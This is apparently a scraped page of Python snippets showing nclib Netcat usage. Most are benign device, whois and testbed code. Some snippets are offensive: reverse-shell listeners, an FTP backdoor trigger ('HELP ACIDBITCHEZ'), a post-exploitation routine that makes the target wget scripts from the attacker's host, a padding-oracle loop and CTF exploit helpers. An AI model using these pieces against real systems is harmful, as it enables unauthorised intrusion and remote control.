Exemple #1
0
def get_proface_value(line):

    destination = proface[line]['IP']
    nc = nclib.Netcat((destination, 1024), udp=True, verbose=False)
    nc.echo_hex = False
    nc.settimeout(0.2)
    nc.send(b'B\x00\x00\x00\x00\x00\x00\x06\x1bR\x01\xf4\x00\x1f'
            )  #MEMLINK 500 first parameter of diagnostic value
    memlink = (nc.recv())

    # print (memlink)

    status = list()
    status4 = list()

    for x in range(10, 20):
        status.append(memlink[x])

    # print (status)
    for x in range(0, len(status), 2):
        status1 = status[x], status[x + 1]  #ff[x] + ff[x+1]
        status2 = bytearray(status1)  # (ff,ff)
        status3 = int.from_bytes(status2, byteorder='big')  # = 65 535
        status4.append(status3)

        # print ('STATUS1 = ',status1)
        # print ('STATUS2 = ',status2)
        # print ('STATUS3 = ',status3)
    # print ('STATUS4 FINAL = ',status4)

    return status4  #[0]len prvy parameter memlink 500
Exemple #2
0
 def write(self, data):
     print(data)
     nc = nclib.Netcat((self.ip, self.port), udp=False, verbose=False)
     nc.recv()
     nc.send(b'< open vcan0 >')
     nc.send(data)
     nc.shutdown()
Exemple #3
0
 def get_file(self, cookie, fname):
     nc = nclib.Netcat((self.ip, self.port), verbose=True)
     nc.send('TEG /{} PTTH\\1.1\n'.format(fname.decode()).encode())
     nc.send('eikooc: {}\n\n'.format(cookie.decode()).encode())
     nc.shutdown_wr()
     r = nc.recv()
     return r
Exemple #4
0
def bulk_whois(filename):
    import nclib
    import os
    import string
    import sys
    import win_inet_pton
    from time import strftime
    # Not needed in a function right?
    #fileName = ''.join(sys.argv[1:2])
    if fileName == '':
        fileName = raw_input('''
	Input the file with extension
	>''')
    with open(fileName, "r") as file:
        ip_list = file.readlines()
    ip_list = ''.join(ip_list)
    print "Looking up IPs now..."
    nc = nclib.Netcat(('whois.cymru.com', 43))
    nc.send(ip_list)
    lookup_output = nc.recv_all()
    nc.close()
    # Need to remove output header
    lookup_output = lookup_output.replace("NA", "-")
    # Maybe test that NA is followed by either spaces and a "|" or a "\n"?
    now = strftime("%Y%m%d%H%M%S")
    with open("output/" + now + "_whois_output", "w") as file:
        file.write(lookup_output)
Exemple #5
0
 def stop_pktgen(self, port):
     logfile = open('log.txt', 'wb')
     nc = nclib.Netcat((self.config["server_info"]["host_name"], self.config["pktgen_port"]), verbose=True,
                        log_send=logfile, log_recv=logfile)
     nc.echo_hex = True
     cmd_str = 'pktgen.stop("' + port + '");\n'
     cmd_b = bytes(cmd_str, encoding="utf8")
     nc.send(cmd_b)
     nc.close()
Exemple #6
0
 def __init__(self, server, name, port):
     self.handle = nclib.Netcat((server, int(port)), verbose=False, echo_hex=True)
     # set name
     self.name = name
     self.communicate(name)
     self.listenerthread = threading.Thread(target=self.get)
     self.listenerthread.start()
     self.getlog = ""
     self.sendlog = ""
Exemple #7
0
    def start(self, local_ip, local_port):
        """ Set Listener to Run """

        print("Starting listener on {0}:{1}... ".format(local_ip, local_port))

        self.nc = nclib.Netcat(listen=(local_ip, int(local_port)))
        print("Listener has recieved an inbound connection")

        return self.nc
Exemple #8
0
    def start_testbed(self):
        # First, shut down any old running testbeds
        logger.debug("Shutting Down Previous Testbeds")
        subprocess.call(["docker-compose", "down"], stderr=subprocess.DEVNULL)

        # The DISPLAY env variable points to an X server for showing OpenSAND UI
        my_env = {
            **os.environ, 'DISPLAY':
            str(self.host_ip) + ":" + str(self.display_number)
        }
        logger.debug("Starting Testbed Containers")

        # Start the docker containers
        subprocess.call(["docker-compose", "up", "-d"], env=my_env)

        # Wait for the opensand container to initialize then send a command to run the simulation
        logger.debug("Starting Opensand Platform")
        opensand_launched = False
        while not opensand_launched:
            try:
                nc = nclib.Netcat(
                    ('localhost', int(os.getenv('SAT_PORT_NUMBER'))),
                    verbose=False)
                nc.recv_until(b'help')
                nc.recv()
                nc.send(b'status\n')
                response = nc.recv()
                opensand_launched = ('SAT' in str(response)) and (
                    'GW0' in str(response)) and ('ST1' in str(response))
            except nclib.errors.NetcatError:
                continue

        logger.debug("Loading Iridium Delay Simulation")
        nc.send(b'scenario delay_scenario\n')
        nc.recv_until(b'OK', timeout=10)
        nc.recv()
        time.sleep(
            1
        )  # it often takes a little while for Opensand to identify all hosts
        logger.debug("Launching Opensand Simulation")
        nc.send(b'start\n')
        simulation_running = False
        while not simulation_running:
            nc.send(b'status\n')
            response = str(nc.recv())
            # wait for all three components (satellite, terminal and gateway) to start running
            simulation_running = response.count('RUNNING') > 3

        # now that the network is running, it is possible to add ip routes from user terminal through the network
        logger.debug("Connecting User Terminal to Satellite Spot Beam")
        docker_client = docker.from_env()
        terminal_container = docker_client.containers.get(
            os.getenv("ST_CONTAINER_NAME"))
        terminal_container.exec_run("/sbin/ip route delete default")
        terminal_container.exec_run("/sbin/ip route add default via " +
                                    str(os.getenv("GW_NETWORK_HEAD")) + ".0.3")
        logger.success("OpeSAND Testbed Running")
    def _init_nc(self):
        if self.args.keygen:
            os.system(
                'openssl req -nodes -x509 -newkey rsa:4096 -keyout {} -out {} -days 365'
                .format(self.args.keyfile, self.args.certfile))

        sock = None
        verbose = self.args.verbosity > 1
        if self.args.listen:
            if not self.args.IP:
                self.args.IP = "0.0.0.0"
            if self.args.verbosity > 0:
                self.print_local("Listening on {}:{} ({})".format(
                    self.args.IP, self.args.port,
                    "UDP" if self.args.udp else "TCP"))
            self.nc = nclib.Netcat(listen=(self.args.IP, self.args.port),
                                   retry=True,
                                   udp=self.args.udp,
                                   verbose=verbose,
                                   log_send=self.log_send_file,
                                   log_recv=self.log_recv_file)
            if self.args.ssl:
                self.nc.sock = self._init_ssl(sock=self.nc.sock)
        else:
            if self.args.verbosity > 0:
                self.print_local("Connecting to {}:{} ({})".format(
                    self.args.IP, self.args.PORT,
                    "UDP" if self.args.udp else "TCP"))
            connect = (self.args.IP, self.args.PORT)
            if self.args.ssl:
                sock = self._init_ssl(connect=connect)
                sock.connect(connect)
            self.nc = nclib.Netcat(connect=connect,
                                   sock=sock,
                                   udp=self.args.udp,
                                   verbose=verbose,
                                   log_send=self.log_send_file,
                                   log_recv=self.log_recv_file)

        if self.args.verbosity > 0:
            self.print_local("Connection: {}:{}".format(
                self.get_raddr()[0],
                self.get_raddr()[1]))
        self.stats_dict["connections"].append(time.time())
def get_connection():
    #conn = process(["../service/speedrun-011"], aslr=False)
    #conn = remote(sys.argv[1], int(sys.argv[2]))
    conn = nclib.Netcat((sys.argv[1], int(sys.argv[2])), verbose=False)
    # gdb.attach(conn, '''
    #
    # continue
    # ''')

    return conn
Exemple #11
0
 def get_cookie(self):
     nc = nclib.Netcat((self.ip, self.port), verbose=True)
     #nc.echo_hex = True
     nc.send(b'TEG / PTTH\\1.1\n\n')
     nc.shutdown_wr()
     r = nc.recv()
     #self.logger.debug(r)
     m = re.match(".*?Index of (.*?)<", str(r))
     if not m or len(m.groups()) != 1:
         return None
     return bytes(m.group(1), 'utf-8')
Exemple #12
0
def create_session(host):
    client = DepositClient()

    conn = nclib.Netcat((host, PORT))
    conn.recvuntil(b'> ')
    conn.sendline(client.handshake())
    response = conn.recvuntil(b'> ')
    conn.sendline(client.handshake_response(response))
    response = conn.recvuntil(b'> ')

    return client, conn
Exemple #13
0
def listen_connection(host, port):
    i = 0
    print('\033[1;96m[\033[31m+\033[1;96m] Listening On %s:%s\033[00m' %
          (host, port))
    while True:
        nc = nclib.Netcat(listen=(host, int(port)))
        id_conn.append(nc)
        conn.append(nc.peer)
        print(
            '\033[32m[\033[34m+\033[32m] New Connections from -> \033[96m%s\033[00m'
            % (nc.peer[0]))
        i = i + 1
Exemple #14
0
def connect(LHOST, LPORT, ftpuser, ftppasswd, ftpproot):
    start_ftp_server(LHOST, '21', ftpuser, ftppasswd, ftpproot)
    print('\033[1;96m[\033[00m+\033[1;96m] \033[00mListening On %s:%s' %
          (LHOST, LPORT))
    nc = nclib.Netcat(listen=(LHOST, LPORT))
    data = nc.recv(4096)

    while True:
        try:
            nc.interact()
        except KeyboardInterrupt:
            print('[*] CTRL + C')
Exemple #15
0
 def listen_connection(self,host,port):
     i = 0
     print("\033[38;5;85m[\033[34m+\033[38;5;85m] Monitoring on \033[38;5;196m%s\033[38;5;85m:\033[38;5;196m%s\033[00m" % (host,port))
     while True:
         try:
             nc = nclib.Netcat(listen=(host,port))
             id_vector.append(nc)
             connection.append(nc.peer)
             print("\033[38;5;85m[\033[34m+\033[38;5;85m] New Connection from \033[38;5;196m%s:%s\033[00m" % (nc.peer[0],nc.peer[1]))
             i = i+1
         except Exception as error_listen:
             return error_listen.message
Exemple #16
0
def create_session(host):
    client = DepositClient(log=True)

    conn = nclib.Netcat((host, PORT), raise_timeout=True, retry=5)
    conn.settimeout(TIMEOUT)

    conn.recvuntil(b'> ')
    conn.sendline(client.handshake())
    response = conn.recvuntil(b'> ')
    conn.sendline(client.handshake_response(response))
    response = conn.recvuntil(b'> ')

    return conn, client
Exemple #17
0
def ishell(ip,port):
    try:
        print("\033[32m[\033[34m+\033[32m] Try To Opening The Shell Session on \033[34m%s\033[32m:\033[34m%d\033[00m" % (ip,port))
        try:
            nc = nclib.Netcat((ip,port))
            print("""\033[32m[\033[34m+\033[32m] Shell Open !\n\033[32m[\033[34m+\033[32m] Enter This Command For Get Prompt => \033[33mpython -c "import pty;pty.spawn('/bin/bash')"\033[00m""")
            nc.interact()
            nc.send("exit\n")
        except KeyboardInterrupt:
            print("[*] CTRL+C")

    except:
        print("\033[31m[!] Error Opengin The Shell Session on %s:%s" % (ip,port))
Exemple #18
0
def askOracle(question):
        flag = True
        while(flag):
                try:
                    flag = False
	            nc = nclib.Netcat(connect=(ip, port))
                    nc.recv_until("?\n")
                    nc.send(question)
        	    response = nc.recv_all()
                    nc.close()
                    return "Incorrect padding!" not in response
                except Exception as inst:
                    print inst
                    flag = True
Exemple #19
0
def jobDownload(jobNo):

    #jobNo = '0600'
#
    
#                   /home/tom/Projects/proface/robotFiles/mainQl02/20200303
    logfile = open('/home/tom/Projects/proface/robotFiles/'+directory+'/'+d1+'/job'+jobNo+'_'+d1+'.txt', 'wb')
    nc = nclib.Netcat(('10.210.202.'+IP+'', 700), udp=True, verbose=0, log_recv=logfile)
    nc.settimeout(0.3)

    #vzor prikazu na poslanie JOBu
    comm = (b'HF\x01\x00 \x00\x00\x00l\x05\x00\x00H \x0c\x00\x14\x00\x00\x01\x00\x10\x01\x07\x08\x00\x00\x000001.JOB\x00\x00\x00\x00ff\x00\x00\x00')
    #print(comm)

    #konverzia na list aby bolo mozne upravit obsah prikazu
    l = list(comm)
    #print(l)

    # n - pozicia kde v prikaze sa nachadza indentifikator JOB suboru
    n=28

    #prepisanie prikazu konverziou jednotilvych znakov z pozadovaneho jobNo
    for ch in jobNo:
     l.pop(n)
     l.insert(n,ord(ch))
     n=n+1

    #print(l)

    #vytvor novy prikaz
    commNew = bytes(l)
    #print(commNew)

    nc.send(commNew)

    rob = nc.recvuntil(str.encode('  END'))
    # IMPORATANT !!!! have to wait for file close !!
    logfile.close()

    #kontrola velkosti suboru - ak je mensi (JOB neexistuje)
    stat = os.stat('/home/tom/Projects/proface/robotFiles/'+directory+'/'+d1+'/job'+jobNo+'_'+d1+'.txt')
    #print(stat.st_size)
    if stat.st_size <= 28:
        os.remove('/home/tom/Projects/proface/robotFiles/'+directory+'/'+d1+'/job'+jobNo+'_'+d1+'.txt')
    else:
        formating(jobNo) # start formatin UDP stream
        # remove original file
        # !!!!!!!!!!!!!!!!!!!!!!!!!!    DEBUGING   !!!!!!!!!!!!!!!!!!!!!!
        # Coment next line
        os.remove('/home/tom/Projects/proface/robotFiles/'+directory+'/'+d1+'/job'+jobNo+'_'+d1+'.txt')
Exemple #20
0
 def listener(self):  # setting up the nc listener & stablizing the shell then uploading linpeas to /dev/shm
     nc = nclib.Netcat(listen=('', self.port))
     print(colors.get_colored_text("\n\n[!]STAGE #2 --> [INFO] <--", ColorsSet.ORANGE))
     self.connected = True  # To stop the thread
     self.for_listener()
     nc.send_line(b"export TERM=xterm-256color")
     print('[*]Uploading Shell Scripts To [/dev/shm] On Target Machine...')
     send = f'''wget -q -r -P /dev/shm/  http://{self.ip}:9002/scripts/ ; clear'''
     nc.send_line(send.encode("utf-8"))
     send = f'''chmod +x /dev/shm/{self.ip}:9002/scripts/* ; mv /dev/shm/{self.ip}:9002/scripts/* /dev/shm/ ; rm -rf /dev/shm/{self.ip}:9002 2>/dev/null ; clear'''
     nc.send_line(send.encode("utf-8"))
     print('[*]Activating a TTY Shell Using --> [Python3]')
     nc.send_line(b'''python3 -c 'import pty;pty.spawn("/bin/bash")\'''')
     nc.interact()
     nc.close()
Exemple #21
0
def main():
    logfile = open('log.txt', 'wb')
    nc = nclib.Netcat(connect=(HOST, PORT), log_send=logfile, log_recv=logfile)

    flag = []

    try:
        while True:
            line = nc.read_line().decode()
            if line.startswith('TASK:'):
                print(line.strip())
                ans = round(eval(line[5:]))
                flag.append(ans)
                nc.send(f'{ans}\n'.encode())
    except nclib.errors.NetcatError:
        print(bytes(reversed(flag)).decode())
Exemple #22
0
 def set_pktgen_range(self, pkt_len):
     logfile = open('log.txt', 'wb')
     pkt_len_str = 'pktgen_range_' + str(pkt_len) + 'B'
     if "vm" == self.config["server_info"]["dut_type"]:
         pktgen_cfg = self.config["path"]["local_cfg_path"] + (self.config["cfg_list_vm"])[pkt_len_str]
     else:
         pktgen_cfg = self.config["path"]["local_cfg_path"] + (self.config["cfg_list_host"])[pkt_len_str]
     lua_fd = open(pktgen_cfg, 'r')
     # lua_fd = open('/root/DPDK/L3_Xmit/config/test_range.lua', 'r')
     lua_range_str = lua_fd.read()
     lua_range_b = bytes(lua_range_str, encoding="utf8")
     nc = nclib.Netcat((self.config["server_info"]["host_name"], self.config["pktgen_port"]), verbose=True, log_send=logfile, log_recv=logfile)
     nc.echo_hex = True
     # nc.send(b'\x00\x0dpktgen.start("all");')
     nc.send(lua_range_b)
     nc.close()
    def parse(self):
        nc = nclib.Netcat(("whois.cymru.com", 43))
        nc.send("begin\n".encode("utf-8"))
        nc.send("verbose\n".encode("utf-8"))
        for ip in self.fingerprint["src_ips"]:
            nc.send((str(ip) + " " + self.fingerprint["start_time"] +
                     "\n").encode("utf-8"))
        nc.send("end\n".encode("utf-8"))

        data = nc.recv_all().decode()
        print(data)
        lines = data.split("\n")
        # Remove the first line where it says "Bulk mode; ..."
        lines.pop(0)

        parsed = []
        for line in lines:
            if not line:
                continue
            # Example line:
            # 1133    | 130.89.25.25 | 130.89.0.0/16 | NL | ripencc  | 1991-04-12 | UTWENTE-AS University Twente, NL
            split_line = line.split("|")
            pa_line = {}

            pal_as = split_line[0].strip()
            pal_ip = split_line[1].strip()
            pal_cc = split_line[3].strip()

            pa_line["ip"] = pal_ip
            if pal_as != "NA":
                pa_line["as"] = pal_as
                pa_line["cc"] = pal_cc
            parsed.append(pa_line)
#            parsed.append({
#                "as": split_line[0].strip(),
#                "ip": split_line[1].strip(),
# "bgp_prefix": split_line[2].strip(),
#                "cc": split_line[3].strip(),
# "registry": split_line[4].strip(),
# "allocated": split_line[5].strip(),
# "as_name": split_line[6].strip()
#            })

        self.fingerprint["src_ips"] = parsed
        print(self.fingerprint["src_ips"])
        return self.fingerprint
Exemple #24
0
    def _open_channel(self, channel_name):
        if channel_name == 'stdio':
            process = self.interaction.process
            if process is None:
                raise ValueError("Can't get stdio for remote process")
            channel = nclib.merge([process.stdout, process.stderr],
                                  sock_send=process.stdin)
        elif ':' in channel_name:
            target = self.interaction.target
            kind, idx = channel_name.split(':', 1)
            if kind in ('tcp', 'tcp6'):
                ipv6 = kind == 'tcp6'
                mapping = target.tcp_ports
                udp = False
            elif kind in ('udp', 'udp6'):
                ipv6 = kind == 'udp6'
                mapping = target.udp_ports
                udp = True
            else:
                raise ValueError("Bad channel", kind)

            address = target.ipv6_address if ipv6 else target.ipv4_address
            # if we run in network_mode=host we don't get an IP
            if not address:
                address = 'localhost'

            try:
                port = mapping[int(idx)]
            except ValueError as e:
                raise ValueError("Channel number is not a number",
                                 channel_name) from e
            except LookupError as e:
                raise ValueError("No mapping for channel number", kind,
                                 idx) from e

            channel = nclib.Netcat((address, port),
                                   udp=udp,
                                   ipv6=ipv6,
                                   retry=30)
        else:
            raise ValueError("Bad channel", channel_name)

        logger = nclib.logger.StandardLogger(
            nclib.simplesock.SimpleLogger('archr.log'))
        channel.add_logger(logger)
        return channel
Exemple #25
0
def BertModel():
    """

	This function will allow us to test conditions,
	and to make the attack.

	Parameters
	----
	None Parameters.

	Return
	----
	This function will
	return values.

	"""
    ListenerPort = nclib.Netcat(listen=('', 9007))
    ListenerPort.interact()
Exemple #26
0
def set_flag(host, port, flag):
    flag_id = flag[:10]
    token = flag[-10:]

    newflag = flag_id + token

    nc = nclib.Netcat((host, int(port)), udp=False, verbose=False)
    nc.recv_until(b'4) Exit\n')
    nc.send(b'2\n')
    nc.recv_until(b'Where do you want to write?\n')
    nc.send(flag_id.encode() + b'\n')
    nc.recv_until(b'What do you want to write?\n')

    nc.send(newflag + b'\n')
    nc.recv_until(b'Important stuff:\n')

    impstuff = nc.recv_until(b'\n').decode()

    return {"flag_id": flag_id, "token": token}
Exemple #27
0
    def run_attenuation_scenario(self):
        logger.debug("Running Attenuation Scenario")
        # wait to connect to opensand
        opensand_launched = False
        nc = None
        while not opensand_launched:
            try:
                nc = nclib.Netcat(
                    ('localhost', int(os.getenv('SAT_PORT_NUMBER'))),
                    verbose=False)
                nc.recv_until(b'help')
                nc.recv()
                opensand_launched = True
            except:
                continue
        logger.debug("Connected to NC Listener")
        # stop running scenarios if any
        nc.send(b'stop\n')
        nc.recv_until(b'OK', timeout=10)
        nc.recv()
        # opensand reports that the testbed has stopped a little before it actually has
        time.sleep(1)

        # load attenuation scenario
        nc.send(b'scenario attenuation_scenario\n')
        nc.recv_until(b'OK', timeout=10)
        nc.recv()

        # start new scenario
        nc.send(b'start\n')
        nc.recv_until(b'OK', timeout=10)
        logger.debug("Scenario Restarted")
        nc.recv()

        # ensure that the terminal modem is still connected
        docker_client = docker.from_env()
        terminal_container = docker_client.containers.get(
            os.getenv("ST_CONTAINER_NAME"))
        #terminal_container.exec_run("/sbin/ip route delete default")
        terminal_container.exec_run("/sbin/ip route add default via " +
                                    str(os.getenv("GW_NETWORK_HEAD")) + ".0.3")

        logger.debug("Attenuation Scenario Launched")
Exemple #28
0
    def open_channel(self, channel_name):
        if channel_name == 'stdio':
            if self.process is None:
                raise ValueError("Can't get stdio for remote process")
            if channel_name == 'stdio':
                channel = nclib.merge(
                    [self.process.stdout, self.process.stderr],
                    sock_send=self.process.stdin)
        elif ':' in channel_name:
            kind, idx = channel_name.split(':', 1)
            if kind in ('tcp', 'tcp6'):
                ipv6 = kind == 'tcp6'
                mapping = self.target.tcp_ports
                udp = False
            elif kind in ('udp', 'udp6'):
                ipv6 = kind == 'udp6'
                mapping = self.target.udp_ports
                udp = True
            else:
                raise ValueError("Bad channel", kind)

            address = self.target.ipv6_address if ipv6 else self.target.ipv4_address

            try:
                port = mapping[int(idx)]
            except ValueError as e:
                raise ValueError("Channel number is not a number",
                                 channel_name) from e
            except LookupError as e:
                raise ValueError("No mapping for channel number", kind,
                                 idx) from e

            channel = nclib.Netcat((address, port),
                                   udp=udp,
                                   ipv6=ipv6,
                                   retry=30)
        else:
            raise ValueError("Bad channel", channel_name)

        logger = nclib.logger.StandardLogger(
            nclib.simplesock.SimpleLogger('archr.log'))
        channel.add_logger(logger)
        return channel
Exemple #29
0
def ishell(ip, port):
    print(
        "\033[32m[\033[34m+\033[32m] Try To Opening The Shell Session on \033[34m%s\033[32m:\033[34m%d\033[00m"
        % (ip, int(port)))
    int_port = int(port)
    try:
        nc = nclib.Netcat((ip, int_port))
        version = nc.recv(4096)
        print("\033[32m[\033[34m+\033[32m] Version FTP : %s" % (version))
        nc.send("HELP ACIDBITCHEZ\r\n")
        print(
            """\033[32m[\033[34m+\033[32m] Shell Open !\n\033[32m[\033[34m+\033[32m] Enter This Command For Get tty Shell => \033[33mpython -c "import pty;pty.spawn('/bin/bash')"\033[00m"""
        )
        nc.interact()
        print("\033[31m[!] Exiting Shell Session !")
        nc.send("bye\r\n")
        nc.close()
    except KeyboardInterrupt:
        print("[*] CTRL+C")
Exemple #30
0
def get_flag(host, port, flag_id, token):
    nc = nclib.Netcat((host, int(port)), udp=False, verbose=False)
    nc.recv_until(b'4) Exit\n')
    nc.send(b'3\n')
    nc.recv_until(b'What do you want to read?\n')
    nc.send(flag_id.encode() + b'\n')
    nc.recv_until(b'solve this:\n')
    modulus, challenge = map(int, nc.recv_until(b'\n').decode().split()[:2])
    challenge %= w

    nc.send(str(token).encode() + b'\n')

    stuff = nc.recv_until(b'\n')

    nc.recv_until(b'\n')
    nc.send(b'4\n')

    flag = flag_id + token

    return flag